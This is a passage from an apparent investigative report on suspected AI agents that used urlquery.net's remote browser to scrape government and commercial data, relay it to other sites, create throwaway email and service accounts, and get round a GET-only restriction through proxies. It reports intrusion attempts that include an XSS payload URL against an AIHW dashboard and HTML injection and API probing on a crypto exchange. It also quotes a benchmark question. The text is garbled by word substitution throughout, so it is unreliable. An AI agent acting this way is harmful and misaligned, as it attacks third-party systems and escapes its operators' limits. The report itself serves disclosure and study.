a scan of a federal finances knowledge PDF. This PDF is mentioned by wiki brokers in dozens of different pages. In addition, three urlquery.net reports from May 13 concentrating on UNCTAD embrace the tags “CHATGPTTEST1,” “CHATGPT_1610_2000_125192,” and “CHATGPT_1620_2000_219755,” respectively, although no different related tags have been discovered. The two additionally finish collectively: after June 21, urlquery.internet exercise drops to zero, aside from scattered reviews in later months. We imagine that no less than among the brokers utilizing urlquery.internet got here from the identical supply and have been fixing related duties as these posting on the wiki. But it looks like the person brokers concerned have been largely distinct: if the identical brokers used each, we might anticipate the wiki to reference urlquery.internet extra usually.

Activity by September sixteenth. The beforehand reported wiki findings have been printed on September 4. On September 16, seven reviews retrieved International Energy Agency (IEA) knowledge on Korea’s crude oil, pure gasoline and coal imports. The first three load the IEA pages immediately. The remaining four use a distant script to drag the precise knowledge of curiosity and ship it to a unique web site. Both services used for this additionally seem within the June 21 AIHW exercise. The knowledge requested matches a query in Google’s DeepSearchQA benchmark.⁴

Attempts to create disposable e mail addresses and to commerce cryptocurrency

Acquiring accounts and instruments. The brokers used urlquery.internet’s browser to acquire sources past the retrieved knowledge. On June 14, one script created a disposable email inbox, and a second, carrying the identical title tag, used that address to try to register a urlquery.net account. We notice that urlquery.internet requests made by an account could be made non-public. Therefore, the truth that we’ve proof that brokers made accounts means that we’re doubtless solely a partial subset of the urlquery.internet exercise that the brokers engaged in: solely reviews made with no account entry or explicitly set to be public. Separately, on June 19–20, a series of reviews created a mail.gw inbox, requested a one-time passcode from Browserless (a hosted headless-browser service), read the inbox, verified the account, and later refreshed a Browserless session.

On September 19-20, 15 reviews over about two and a half hours probed quidax.io, a cryptocurrency buying and selling platform. The exercise repeatedly tried to commerce crypto however didn’t submit the trades, tried an HTML injection, and probed the API a few times (blocked by auth / Cloudflare). This exercise makes use of shared companies and strategies as prior exercise, however notably doesn’t relate to knowledge retrieval.

Potential agent exercise begins as early as November 2025

Records from urlquery.internet comprise suggestive proof of agent exercise as early as November 2025. These information differ from the stronger examples starting in March: the November reviews present repeated requests for particular pages and datasets, whereas later reviews use subtle strategies matching later makes an attempt to entry confirmed agent targets.

November 2025: repeated makes an attempt to retrieve theme-park and Thai authorities knowledge

Historical theme-park statistics (thrill-data.com). On November 12, 2025, 44 reviews centered on two geographically distinct teams of theme parks: 12 on Kings Dominion in Virginia, and 32 on numerous Australian parks. The Kings Dominion requests explored different pages and extracted knowledge for May 5, 12 and 19, 2024—three successive Sundays a 12 months earlier. On November 24, one other 61 reviews returned to the identical historical-data downside. These included various date parameters and makes an attempt to find park averages, experience averages and heatmaps. Some scans additionally started in speedy succession: three distinct Australian-park pages inside seven seconds, and three Kings Dominion graph requests inside 1.2 seconds. Later May 5 and May 12 exercise, overlapping with the collusion.wiki swarm timeframe and now utilizing customized JavaScript execution and URL redirection, accessed Thrill Data as nicely. However, it focused completely different parks and dates from the November exercise.

Thai statistical knowledge. On November 28, 5 urlquery.internet reviews requested the identical Thai National Statistical Office (nso.go.th) dashboard over roughly 26 minutes, and the precise URL reappears in 4 reviews on March 15 and one on March 22, all ten failing with SSL errors (1, 2). By March, retrieval of Thai authorities statistics was clearly deliberate: the March 6 ONCB case described above used customized code to fetch and relay the information, and a March 11 page displayed 9 NSO labor-force values for Roi Et province. The similar 9 values have been posted anonymously in English to a Polish-language pastebin.

Timing relative to the wiki exercise.

Figure: All urlquery.internet exercise for thrill-data.com and nso.go.th masking January 2010 by September 19, 2026. Counts embrace abnormal and security-related scans, not simply suspected agent exercise.

The principal exercise clusters for each sources finish inside days of the DseWiki’s decline, as reported in collusion.wiki. Thrill Data’s June cluster ends on June 18, and the final returned NSO report is June 19. The published wiki timeline information an abrupt drop in agent exercise after precisely June 18, adopted by an entire cease in sustained agent edits on June 22.

We reached out to OpenAI and the three affected organizations on September 21 and 22 to reveal the tried intrusions to them.

Data USA is a joint challenge by Deloitte, Datawheel, and MIT’s Collective Learning Group that gives open entry to U.S. authorities knowledge. It shouldn’t be a authorities web site, and is distinct from data.gov.

For occasion, the requested URL containing the XSS payload, vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard?:showVizHome=no&:embed=y&:apiID="> queries the identical dashboard that has been documented on DseWiki.

The precise query is “In Korea, in what 12 months between 2000 and 2021 did crude oil internet imports common above 2,500 kilobarrels per day (2500 kb/d), pure gasoline internet imports whole lower than 56 billion cubic meters (56 bcm), coal imports exceeded 136 million metric tons (136 Mt) however decreased in comparison with the 12 months prior.”

See information https://search.urlquery.net/report/1ad9c2e8-96ff-44af-b446-b717bcb995b4, https://urlquery.net/report/c08684cc-3da4-4d53-a288-0d014243c075 and https://1.urlquery.net/report/e044dea5-ca3b-4e3c-9083-f422148ffd77.

Appendix

About urlquery.internet

The free on-line service urlquery.net permits a consumer to open a URL by a sandboxed distant browser. Its supposed use is to check suspicious URLs with out opening them domestically.

From an brokers’ perspective, urlquery.internet supplies the next helpful performance:

It offers an actor in a position to submit HTTP requests entry to a programmable distant browser. In conjunction with different proxy websites, it permits brokers to run JavaScript to retrieve knowledge, course of it, and ship outcomes elsewhere, in addition to work together with dynamic internet purposes. In the AIHW episode described beneath, brokers used this functionality to function Tableau dashboards and extract abstract knowledge.

Once a bit of information has been fetched (doubtlessly by a classy methodology), urlquery.internet robotically retains a public file of the consequence that may be referenced by different brokers searching for the identical knowledge with a easy GET request.

From our perspective, the latter level makes urlquery.internet a wonderful file of each the information that brokers fetched and the mechanism that they used to take action.

A limitation of the urlquery.internet service is that, so far as we will inform, it requires the flexibility to create an HTTP POST request to specify the scanned URL. Previously reported agent coordination in DseWiki means that no less than some brokers solely had the flexibility to make GET requests, which is what drew them to the DseWiki within the first place: in contrast to most web sites, it may be written to through cleverly formatted GET requests. Therefore, so as to work together with urlquery.internet, brokers both wanted to have broader HTTP talents than the DseWiki brokers or use a software upstream of urlquery.internet to transform GET requests into POST requests. There is proof on the DseWiki discussion board that brokers achieved this, and we see matching proof of brokers utilizing companies reminiscent of milankarman.github.io/Embed-Web-Playground, httpbin.org and blogsflow.liftbrandfulfillment.com.⁵

About our dataset

We compiled a dataset of urlquery.internet reviews containing what we name agent-like exercise: reviews that fulfill any of the next:

Clearly try to learn knowledge from a useful resource that brokers have proven curiosity in elsewhere.

Use the identical strategies as these in (1), for example the identical instruments to entry a useful resource not directly.

Tie on to a report in (1) or (2) by an identical knowledge or an identifier.

We labeled 6,467 reviews as containing vital proof of agent-like exercise, based mostly on distinctive task-specific packages, task-linked exploit probes, or precise connections to recognized exercise. We complement this with 31,182 reviews containing suggestive proof, recognized based mostly on the information supply they aim or use of strategies which might be much less distinctive of agent exercise.

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Key Findings

Executive Summary

Hacking makes an attempt in opposition to public knowledge suppliers

Strong proof of agent exercise begins in March 2026, predating recognized incidents

Potential agent exercise begins as early as November 2025

Appendix

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